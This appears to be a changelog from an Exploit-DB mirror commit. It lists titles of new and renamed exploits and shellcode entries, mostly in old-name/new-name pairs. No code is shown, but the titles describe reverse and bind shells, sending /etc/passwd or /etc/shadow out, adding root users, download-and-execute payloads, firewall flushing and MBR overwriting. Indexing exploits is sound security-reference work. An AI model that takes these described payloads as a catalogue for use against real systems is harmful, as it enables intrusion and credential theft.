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exploit-db-mirror/platforms/bsd/dos/17097.c
Offensive Security c7b4bfd8e6 DB: 2017-08-23 
23 new exploits

Microsoft Windows 7 SP1 x86 -  GDI Palette Objects Local Privilege Escalation (MS17-017)
Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017)
Disk Pulse Enterprise 9.9.16 - 'Import Command' Buffer Overflow
Disk Savvy Enterprise 9.9.14 - 'Import Command' Buffer Overflow
VX Search Enterprise 9.9.12 - 'Import Command' Buffer Overflow
Microsoft Windows - Escalate UAC Protection Bypass (Via COM Handler Hijack) (Metasploit)

IBM OpenAdmin Tool - SOAP welcomeServer PHP Code Execution (Metasploit)

BSD - Passive Connection Shellcode (124 bytes)
BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)
BSD/x86 - setuid(0) then execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind Shell  31337/TCP + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh multiplatform Shellcode (27 bytes)
BSD/x86 - execve /bin/sh setuid (0) Shellcode (29 bytes)
BSD/x86 - Bind Shell 31337/TCP Shellcode (83 bytes)
BSD/x86 - Bind Random Port Shellcode (143 bytes)
BSD/x86 - setuid(0) + execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh Shellcode (27 bytes)
BSD/x86 - execve /bin/sh + setuid(0) Shellcode (29 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) Shellcode (83 bytes)
BSD/x86 - Bind TCP Shell (Random Port) Shellcode (143 bytes)
BSD/x86 - execve /bin/sh Crypt Shellcode (49 bytes)
BSD/x86 - execve /bin/sh ENCRYPT* Shellcode (57 bytes)
BSD/x86 - Connect torootteam.host.sk:2222 Shellcode (93 bytes)
BSD/x86 - cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (49 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes)
BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes)
BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSDi/x86 - execve /bin/sh toupper evasion Shellcode (97 bytes)
FreeBSD i386 & AMD64 - Execve /bin/sh Shellcode (Anti-Debugging) (140 bytes)
BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes)
FreeBSD x86 / x64 - execve /bin/sh Anti-Debugging Shellcode (140 bytes)
FreeBSD/x86 - connect back.send.exit /etc/passwd Shellcode (112 bytes)
FreeBSD/x86 - kill all processes Shellcode (12 bytes)
FreeBSD/x86 - rev connect + recv + jmp + return results Shellcode (90 bytes)
FreeBSD/x86 - /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse /bin/sh Shell (127.0.0.1:8000) Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - /bin/sh Encrypted Shellcode (48 bytes)
FreeBSD/x86 - Reverse TCP cat /etc/passwd (192.168.1.33:8000/TCP) Shellcode (112 bytes)
FreeBSD/x86 - Kill All Processes Shellcode (12 bytes)
FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + JMP + Return Results Null-Free Shellcode (90 bytes)
FreeBSD/x86 - execve /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000) Null-Free Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes)

FreeBSD/x86 - execve /bin/sh Shellcode (2) (23 bytes)
FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes)

FreeBSD/x86 - kldload /tmp/o.o Shellcode (74 bytes)
FreeBSD/x86 - Load Kernel Module (/sbin/kldload /tmp/o.o) Shellcode (74 bytes)

FreeBSD/x86 - Connect Port 31337 Shellcode (102 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (102 bytes)
Linux/x86 - Bind Shellcode (Generator)
Windows XP SP1 - Bind Shellcode (Generator)
(Generator) - /bin/sh Polymorphic With Printable ASCII Characters Shellcode
Linux/x86 - cmd Null-Free Shellcode (Generator)
(Generator) - Alphanumeric Shellcode (Encoder/Decoder)
Linux/x86 - Bind TCP Shellcode (Generator)
Windows XP SP1 - Bind TCP Shell Shellcode (Generator)
Linux - execve /bin/sh Polymorphic With Printable ASCII Characters Shellcode (Generator)
Linux/x86 - Command Null-Free Shellcode (Generator)
Windows - Reverse TCP Shell (127.0.0.1:123/TCP) Alphanumeric Shellcode (Encoder/Decoder) (Generator)
Win32 - Multi-Format Encoding Tool Shellcode (Generator)
iOS - Version-independent Shellcode
Cisco IOS - Connectback 21/TCP Shellcode
Windows x86 - Multi-Format Encoding Tool Shellcode (Generator)
iOS Version-independent - Null-Free Shellcode
Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode
Linux/x86-64 - Flush IPTables Rules Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth Shell  Shellcode (88+ bytes)  (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind 4919/TCP Shellcode (276 bytes)
Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes)

Linux/PPC - connect back (192.168.1.1:31337) execve /bin/sh Shellcode (240 bytes)
Linux/PPC - Reverse TCP /bin/sh Shell (192.168.1.1:31337/TCP) Shellcode (240 bytes)

Linux/SPARC - Bind 8975/TCP Shellcode (284 bytes)
Linux/SPARC - Bind TCP Shell (8975/TCP) Null-Free Shellcode (284 bytes)
Linux/x86 - killall5 polymorphic Shellcode (61 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind 4444/TCP Shellcode (XOR Encoded) (152 bytes)
Linux/x86 - reboot() polymorphic Shellcode (57 bytes)
Linux/x86 - chmod(_/etc/shadow__666) Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_geteuid())_execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind 8000/TCP + Execve Iptables -F Shellcode (176 bytes)
Linux/x86 - Bind 8000/TCP + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind 8000/TCP ASM Code Linux Shellcode (179 bytes)
Linux/x86 - killall5 Polymorphic Shellcode (61 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes)
Linux/x86 - reboot() Polymorphic Shellcode (57 bytes)
Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes)

Linux/x86 - Serial port shell binding + busybox Launching Shellcode (82 bytes)
Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes)

Linux/x86 - chmod(_/etc/shadow__666) + exit(0) Shellcode (30 bytes)
Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes)

Linux/x86 - Shellcode Obfuscator (Generator)
Linux/x86 - Shellcode Obfuscator Null-Free (Generator)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) /bin/sh Shellcode (35 bytes)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes)

Linux/x86 - Reverse TCP /etc/shadow (8192/TCP) Shellcode (155 bytes)
Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes)

Linux/x86 - setuid(0) . setgid(0) . aslr_off Shellcode (79 bytes)
Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes)

Linux/x86 - /sbin/iptables -F Shellcode (40 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (40 bytes)

Linux/x86 - /sbin/ipchains -F Shellcode (40 bytes)
Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes)
Linux/x86 - HTTP/1.x GET_ Downloads + execve() Shellcode (111+ bytes)
Linux/x86 - executes command after setreuid Shellcode (49+ bytes)
Linux/x86 - HTTP/1.x GET + Downloads + execve() Null-Free Shellcode (111+ bytes)
Linux/x86 - setreuid + executes command (49+ bytes)
Linux/x86 - Bind 31337/TCP + setuid Shellcode (96 bytes)
Linux/x86 - Bind 2707/TCP Shellcode (84 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes)
Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes)
Linux/x86 - Bind 31337/TCP SET_PORT() Shellcode (100 bytes)
Linux/x86 - Reverse TCP Shell (192.168.13.22:31337) Shellcode (82 bytes)  (Generator)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.13.22:31337) Shellcode (82 bytes) (Generator)

Linux/x86 - Reverse TCP XOR Encoded Shell (127.0.0.1:80/TCP) Shellcode (371 bytes)
Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes)

Linux/x86 - /tmp/swr to SWAP restore Shellcode (109 bytes)
Linux/x86 - Read SWAP write to /tmp/swr Shellcode (109 bytes)
Linux/x86 - Bind TCP Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind 64713/TCP Shellcode (86 bytes)
Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes)

Linux/x86 - setreuid(0_0) execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)

Linux/x86 - TCP Proxy Shellcode (236 bytes)
Linux/x86 - TCP Proxy Null-Free Shellcode (236 bytes)
Linux/x86 - execve /bin/sh xored for Intel x86 CPUID Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode (+1 Encoded) (39 bytes)
Linux/x86 - Add User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - anti-debug trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP Shellcode (80 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP + fork() Shellcode (98 bytes)
Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes)
Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes)

Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (32 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes)

Linux/x86 - Reverse  TCP Shell Shellcode (90 bytes)  (Generator)
Linux/x86 - Reverse TCP Shell Shellcode (90 bytes) (Generator)
Linux/x86 - read(0_buf_2541); chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); (with optional 7 byte exit) Shellcode (36 bytes)
Linux/x86 - snoop /dev/dsp Shellcode (172 bytes)
Linux/x86 - /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - read(0_buf_2541); + chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); Exit Shellcode (36/43 bytes)
Linux/x86 - snoop /dev/dsp Null-Free Shellcode (172 bytes)
Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - chroot + standart Shellcode (66 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes)
Linux/x86 - setreuid/execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Shellcode (64 bytes)
Linux/x86 - Alphanumeric using IMUL Method Shellcode (88 bytes)
Linux/x86 - setreuid + execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes)
Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes)
Linux/x86 - Bind 5074/TCP (ToUpper Encoded) Shellcode (226 bytes)
Linux/x86 - Add User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes)
Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - iptables -F Shellcode (45 bytes)
Linux/x86 - iptables -F Shellcode (58 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (45 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (58 bytes)

Linux/x86 - connect Shellcode (120 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes)

Linux/x86 - cp /bin/sh /tmp/katy ; chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - cp /bin/sh /tmp/katy ; + chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - execve /bin/sh setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind 5074/TCP Shellcode (92 bytes)
Linux/x86 - Bind 5074/TCP + fork() Shellcode (130 bytes)
Linux/x86 - Add User (t00r) Shellcode (82 bytes)
Linux/x86 - Add User Shellcode (104 bytes)
Linux/x86 - break chroot Shellcode (34 bytes)
Linux/x86 - break chroot Shellcode (46 bytes)
Linux/x86 - break chroot execve /bin/sh Shellcode (80 bytes)
Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes)
Linux/x86 - Add Root User (t00r) Shellcode (82 bytes)
Linux/x86 - Add Root User Shellcode (104 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes)
Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes)

Linux/x86 - execve /bin/sh (XOR Encoded) Shellcode (55 bytes)
Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes)

Linux/x86 - chroot()/execve() code Shellcode (80 bytes)
Linux/x86 - Add User (z) Shellcode (70 bytes)
Linux/x86 - break chroot setuid(0) + /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind 4444/TCP Shellcode (132 bytes)
Linux/x86 - Add Root User (z) Shellcode (70 bytes)
Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes)
Linux PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 & Unix/SPARC & IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 & Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
Linux/x86 & bsd/x86 - execve /bin/sh Shellcode (38 bytes)
Linux/PPC / Linux/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX/PPC / OSX/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 / Unix/SPARC / IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 / Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
BSD/x86 / Linux/x86 - execve /bin/sh Shellcode (38 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
OpenBSD/x86 - Bind 6969/TCP Shellcode (148 bytes)
OpenBSD/x86 - Add user _w00w00_ Shellcode (112 bytes)
OSX/PPC - sync()_ reboot() Shellcode (32 bytes)
OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes)
OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes)
OSX/PPC - sync() + reboot() Shellcode (32 bytes)

OSX/PPC - Add user _r00t_ Shellcode (219 bytes)
OSX/PPC - Add Root User (r00t) Shellcode (219 bytes)
Solaris/SPARC - executes command after setreuid Shellcode (92+ bytes)
Solaris/SPARC -  Reverse TCP XNOR Encoded Shell (44434/TCP) Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid/execve Shellcode (56 bytes)
Solaris/SPARC - Bind 6666/TCP Shellcode (240 bytes)
Solaris/SPARC - setreuid + executes command Shellcode (92+ bytes)
Solaris/SPARC - Reverse TCP Shell (44434/TCP) XNOR Encoded Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid + execve Shellcode (56 bytes)
Solaris/SPARC - Bind TCP Shell (6666/TCP) Shellcode (240 bytes)
Solaris/SPARC - Bind 6789/TCP Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Solaris/SPARC - Bind TCP /bin/sh (6789/TCP) Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP /bin/sh Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind TCP Shell Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Windows 5.0 < 7.0 x86 - Bind Shell 28876/TCP Null-Free Shellcode
Win32/XP SP2 (EN) - cmd.exe Shellcode (23 bytes)
Win32 - SEH Omelet Shellcode
Win32 - Bind 23/TCP Winexec Telnet Shellcode (111 bytes)
Win32 - PEB!NtGlobalFlags Shellcode (14 bytes)
Win32 XP SP2 (FR) - Sellcode cmd.exe Shellcode (32 bytes)
Win32/XP SP2 - cmd.exe Shellcode (57 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder Alphanumeric Shellcode (67 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Win32 - ConnectBack + Download A File + Save + Execute Shellcode
Win32 - Download File + Execute Shellcode (Browsers Edition) (Generator) (275+ bytes)
Win32 - Download File + Execute Shellcode (192 bytes)
Win32 - Download File + Execute Shellcode (124 bytes)
Win32/NT/XP - IsDebuggerPresent Shellcode (39 bytes)
Win32 SP1/SP2 - Beep Shellcode (35 bytes)
Win32/XP SP2 - Pop up message box Shellcode (110 bytes)
Win32 - WinExec() Command Parameter Shellcode (104+ bytes)
Win32 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add User 'slim' Shellcode (318 bytes)
Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode
Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes)
Windows x86 - SEH Omelet Shellcode
Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes)
Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes)
Windows XP SP2 x86 (French) - Sellcode cmd.exe Shellcode (32 bytes)
Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Windows x86 - ConnectBack + Download A File + Save + Execute Shellcode
Windows x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator)
Windows x86 - Download File + Execute Shellcode (192 bytes)
Windows x86 - Download File + Execute Shellcode (124 bytes)
Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes)
Windows SP1/SP2 x86 - Beep Shellcode (35 bytes)
Windows XP SP2 x86 - Pop up message box Shellcode (110 bytes)
Windows x86 - WinExec() Command Parameter Shellcode (104+ bytes)
Windows x86 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes)

Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes)  (Generator)
Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes) (Generator)
Windows XP - Download File + Execute Shellcode
Windows XP SP1 - Bind 58821/TCP Shellcode (116 bytes)
Windows XP - Download File + Execute Null-Free Shellcode
Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes)

Win64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Windows x64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Linux/x86 - setuid(0) + cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (33 bytes)
Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Win32 XP SP3 - ShellExecuteA Shellcode
Linux/x86 - Pverwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Windows XP SP3 x86 - ShellExecuteA Shellcode
Win32 XP SP3 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind 1337/TCP Shellcode (167 bytes)
Win32/XP SP2 - calc.exe Shellcode (45 bytes)
Windows XP SP3 x86 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind TCP /bin/sh Shell (1337/TCP) Shellcode (167 bytes)
Windows XP SP2 x86 - calc.exe Shellcode (45 bytes)

Win32/XP SP2 (EN + AR) - cmd.exe Shellcode (23 bytes)
Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes)

Linux/x86 - break chroot Shellcode (79 bytes)
Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot _..._) + execve /bin/sh Shellcode (79 bytes)

Linux/x86 - Append '/etc/passwd' + exit() Shellcode (107 bytes)
Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes)

Win32 XP SP2 (FR) - calc Shellcode (19 bytes)
Windows XP SP2 x86 (French) - calc Shellcode (19 bytes)
Linux/x86 - bin/cat /etc/passwd Shellcode (43 bytes)
Win32 XP SP3 (English) - cmd.exe Shellcode (26 bytes)
Win32 XP SP2 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - /bin/sh Shellcode (8 bytes)
Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes)
Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes)
Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - execve /bin/sh Shellcode (8 bytes)
Linux/x86 - disabled modsecurity Shellcode (64 bytes)
Win32 - JITed Stage-0 Shellcode
Win32 - JITed exec notepad Shellcode
Windows XP Professional SP2 (ITA) - calc.exe Shellcode (36 bytes)
Win32 - Mini HardCode WinExec&ExitProcess Shellcode (16 bytes)
Linux/x86 - Disabled modsecurity Shellcode (64 bytes)
Windows x86 - JITed Stage-0 Shellcode
Windows x86 - JITed exec notepad Shellcode
Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes)
Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes)
Win32/XP SP3 (RU) - WinExec+ExitProcess cmd Shellcode (12 bytes)
Win32 - MessageBox Shellcode (Metasploit)
Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes)
Windows x86 - MessageBox Shellcode (Metasploit)
Linux/x86 - Bind nc -lvve/bin/sh -p13377 Shellcode
Linux/x86 - chmod(_/etc/shadow__ 0666) Shellcode (36 bytes)
Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode
Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (33 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Genearator With Customizable Text)
Linux/x86 - chmod  0777 /etc/shadow Shellcode (33 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Generator)

Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes)
Linux/x86 - Sends _Phuck3d!_ To All Terminals Shellcode (60 bytes)

Windows XP SP2 (FR) - Download File + Execute Shellcode
Windows XP SP2 (French) - Download File + Execute Shellcode

Linux/x86 - Disable randomize stack addresse Shellcode (106 bytes)
Linux/x86 -  Disable ASLR Security Shellcode Shellcode (106 bytes)
Linux/x86 - setuid(0) + chmod(_/etc/shadow__ 0666) Polymorphic Shellcode (61 bytes)
Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes)

Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes)

Linux/x86 - Reverse  Netcat Shell (8080/TCP) Shellcode (76 bytes)
Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes)

Solaris/x86 - Sync() & reboot() + exit(0) Shellcode (48 bytes)
Solaris/x86 - Sync() + reboot() + exit(0) Shellcode (48 bytes)
Linux/x86 - Bind 31337/TCP + setreuid (0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod (_/etc/passwd__ 0777) & exit(0) Shellcode (63 bytes)
Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes)

Windows XP SP3 (SPA) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)
Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)

Windows - WinExec cmd.exe + ExitProcess Shellcode (195 bytes)
Windows - cmd.exe + ExitProcess WinExec Shellcode (195 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) polymorphic Shellcode (84 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) Shellcode (35 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod 0777 /etc/shadow Polymorphic Shellcode (84 bytes)
Linux/ARM - chmod 0777 /etc/shadow Shellcode (35 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); (XOR 88 encoded) Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind Shell 64533 Shellcode (97 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); XOR 88 Encoded Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes)
Linux - setreuid(0_0) execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 - 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Shellcode
